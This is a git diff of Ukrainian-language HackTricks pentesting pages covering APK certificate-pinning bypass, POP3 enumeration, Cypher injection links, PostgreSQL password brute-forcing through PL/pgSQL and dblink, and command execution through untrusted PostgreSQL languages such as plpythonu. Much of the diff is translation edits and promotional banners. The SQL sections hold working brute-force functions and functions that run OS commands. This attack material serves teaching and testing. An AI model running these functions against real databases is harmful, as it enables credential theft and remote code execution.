* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи в **телеграмі** або **слідкуйте** за мною в **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -21,11 +21,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
***
Деякі програми не люблять сертифікати, завантажені користувачем, тому для перевірки веб-трафіку для деяких додатків нам насправді потрібно декомпілювати додаток, додати кілька речей і знову скомпілювати його.
Деякі програми не люблять сертифікати, завантажені користувачем, тому для перевірки веб-трафіку для деяких додатків нам насправді потрібно декомпілювати програму, додати кілька речей і знову скомпілювати її.
# Автоматично
Інструмент [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **автоматично** внесе необхідні зміни в додаток, щоб почати захоплювати запити, а також вимкне прив'язку сертифікатів (якщо така є).
Інструмент [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **автоматично** внесе необхідні зміни в програму, щоб почати захоплювати запити, а також відключить пінning сертифікатів (якщо такий є).
# Вручну
@ -64,22 +64,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Нарешті, вам просто потрібно **підписати новий додаток**. [Прочитайте цей розділ сторінки Smali - Декомпіляція/\[Модифікація\]/Компіліція, щоб дізнатися, як його підписати](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Підтримайте HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Вивчайте хакінг AWS з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримати HackTricks:
* Якщо ви хочете, щоб вашу **компанію рекламували в HackTricks** або **завантажити HackTricks у PDF** перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційні товари PEASS & HackTricks**](https://peass.creator-spring.com)
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Діліться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -23,9 +23,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
***
## Basic Information
## Основна інформація
**Протокол поштового відділення (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для вилучення та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **клієнтів POP** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на системі клієнта та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найбільш поширена версія.
**Протокол поштового відділення (POP)** описується як протокол у сфері комп'ютерних мереж і Інтернету, який використовується для витягування та **отримання електронної пошти з віддаленого поштового сервера**, що робить її доступною на локальному пристрої. Розташований у прикладному шарі моделі OSI, цей протокол дозволяє користувачам отримувати та отримувати електронну пошту. Робота **клієнтів POP** зазвичай передбачає встановлення з'єднання з поштовим сервером, завантаження всіх повідомлень, зберігання цих повідомлень локально на системі клієнта та подальше їх видалення з сервера. Хоча існує три версії цього протоколу, **POP3** виділяється як найбільш поширена версія.
**Порт за замовчуванням:** 110, 995(ssl)
```
@ -94,23 +94,23 @@ password: PA$$W0RD!Z
```
## Небезпечні Налаштування
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
Від [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Налаштування** | **Опис** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Увімкнення всього журналювання налагодження аутентифікації. |
| `auth_debug_passwords` | Це налаштування регулює детальність журналу, подані паролі та схема, що ведеться в журналі. |
| `auth_verbose` | Журналює невдалі спроби аутентифікації та їх причини. |
| `auth_verbose_passwords` | Паролі, що використовуються для аутентифікації, ведуться в журналі і можуть бути скорочені. |
| `auth_anonymous_username` | Це вказує ім'я користувача, яке буде використовуватися при вході з механізмом ANONYMOUS SASL. |
| `auth_debug` | Увімкнення всього журналювання налагодження автентифікації. |
| `auth_debug_passwords` | Це налаштування регулює детальність журналу, подані паролі та схема, що веде журнал. |
| `auth_verbose` | Журналює невдалі спроби автентифікації та їх причини. |
| `auth_verbose_passwords` | Паролі, використані для автентифікації, ведуться в журналі і можуть бути скорочені. |
| `auth_anonymous_username` | Це вказує ім'я користувача, яке буде використано при вході з механізмом ANONYMOUS SASL. |
**Try Hard Security Group**
**Група безпеки Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Автоматичні Команди
## Автоматичні команди HackTricks
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one.
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Навчіться хакінгу AWS з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **компанії з кібербезпеки**? Хочете, щоб вашу **компанію рекламували в HackTricks**? Або хочете отримати доступ до **останній версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційні товари PEASS & HackTricks**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною в **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Діліться своїми хакерськими трюками, надсилаючи PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Внедрення Cypher (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**телеграм**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
Перевірте наступні блоги:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**телеграм**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# Перебір паролів PL/pgSQL
# PL/pgSQL Password Bruteforce
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Дізнайтеся [більше інформації про цей атаку в оригінальній статті](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**Знайдіть [більше інформації про ці атаки в оригінальному документі](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL - це **повнофункціональна мова програмування**, яка виходить за межі можливостей SQL, пропонуючи **покращене процедурне управління**. Це включає використання циклів та різних структур управління. Функції, створені мовою PL/pgSQL, можуть бути викликані SQL-операціями та тригерами, розширюючи обсяг операцій у середовищі бази даних.
PL/pgSQL є **повнофункціональною мовою програмування**, яка виходить за межі можливостей SQL, пропонуючи **покращений процедурний контроль**. Це включає використання циклів та різних контрольних структур. Функції, створені на мові PL/pgSQL, можуть бути викликані SQL-запитами та тригерами, розширюючи обсяг операцій у середовищі бази даних.
Ви можете зловживати цією мовою, щоб запросити PostgreSQL перебрати облікові дані користувачів, але вони повинні існувати в базі даних. Ви можете перевірити їх наявність за допомогою:
Ви можете зловживати цією мовою, щоб попросити PostgreSQL зламати облікові дані користувачів, але вона повинна існувати в базі даних. Ви можете перевірити її існування, використовуючи:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
За замовчуванням **створення функцій є привілеєм, наданим PUBLIC**, де PUBLIC вказує на кожного користувача в цій базі даних. Щоб цього уникнути, адміністратор міг би відкликати привілеї USAGE від домену PUBLIC:
За замовчуванням, **створення функцій є привілеєм, наданим PUBLIC**, де PUBLIC відноситься до кожного користувача в цій системі бази даних. Щоб запобігти цьому, адміністратор міг би відкликати привілей USAGE з домену PUBLIC:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
У цьому випадку наш попередній запит виведе різні результати:
У цьому випадку наш попередній запит видасть різні результати:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Зверніть увагу, що для роботи наступного скрипту **потрібно наявність функції `dblink`**. Якщо її немає, ви можете спробувати створити її за допомогою&#x20;
Зверніть увагу, що для роботи наступного скрипта **функція `dblink` повинна існувати**. Якщо її немає, ви можете спробувати створити її за допомогою&#x20;
```sql
CREATE EXTENSION dblink;
```
## Перебір паролів
## Брутфорс паролів
Ось як ви можете виконати перебір паролів з 4 символів:
Ось як ви можете виконати брутфорс пароля з 4 символів:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -81,7 +84,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Зверніть увагу, що навіть перебір 4 символів може зайняти кілька хвилин._
Ви також можете **завантажити словник** та спробувати лише ці паролі (атака словником):
Ви також можете **завантажити словник** і спробувати лише ті паролі (атака за словником):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,41 +1,41 @@
# RCE with PostgreSQL Languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Мови PostgreSQL
## PostgreSQL Languages
У базі даних PostgreSQL, до якої ви маєте доступ, можуть бути встановлені різні **мови сценаріїв**, які можна використовувати для **виконання довільного коду**.
База даних PostgreSQL, до якої ви отримали доступ, може мати різні **встановлені мови сценаріїв**, які ви могли б використати для **виконання довільного коду**.
Ви можете **запустити їх**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Більшість мов сценаріїв, які можна встановити в PostgreSQL, мають **2 варіанти**: **довірений** та **недовірений**. **Недовірений** матиме назву, **закінчуватиметься на "u"** і буде версією, яка дозволить вам **виконувати код** та використовувати інші цікаві функції. Ось мови, які, якщо встановлені, є цікавими:
Більшість мов сценаріїв, які ви можете встановити в PostgreSQL, мають **2 варіанти**: **достовірний** та **недостовірний**. **Недостовірний** буде мати назву, що **закінчується на "u"** і буде версією, яка дозволить вам **виконувати код** та використовувати інші цікаві функції. Це мови, які, якщо встановлені, є цікавими:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (будь-яка інша мова програмування, використовуючи ненадійну версію)
* ... (будь-яка інша мова програмування, що використовує ненадійну версію)
{% hint style="warning" %}
Якщо ви виявите, що цікава мова **встановлена**, але **недовірена** PostgreSQL (**`lanpltrusted`** - **`false`**), ви можете спробувати **довірити її** за допомогою наступного рядка, щоб PostgreSQL не застосовувала обмеження:
Якщо ви виявите, що цікава мова **встановлена**, але **недостовірна** для PostgreSQL (**`lanpltrusted`** є **`false`**), ви можете спробувати **достовірити її** за допомогою наступного рядка, щоб жодні обмеження не застосовувалися з боку PostgreSQL:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
{% endhint %}
{% hint style="danger" %}
Якщо ви не бачите мову, ви можете спробувати завантажити її за допомогою (**вам потрібно бути суперадміністратором**):
Якщо ви не бачите мову, ви можете спробувати завантажити її з (**вам потрібно бути суперадміністратором**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -55,10 +54,12 @@ CREATE EXTENSION plrubyu;
```
{% endhint %}
Зверніть увагу, що можливо скомпілювати безпечні версії як "небезпечні". Перевірте [**це**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) на прикладі. Так що завжди варто спробувати виконати код, навіть якщо ви знайшли встановлену **довірену** версію.
Зверніть увагу, що можливо скомпілювати безпечні версії як "незахищені". Перегляньте [**це**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) для прикладу. Тому завжди варто спробувати, чи можете ви виконати код, навіть якщо ви знайшли лише встановлену **достовірну** версію.
## plpythonu/plpython3u
{% tabs %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
@ -71,7 +72,9 @@ LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="Отримати користувача ОС" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -83,7 +86,9 @@ LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="Список директорій" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -97,7 +102,9 @@ LANGUAGE 'plpythonu';
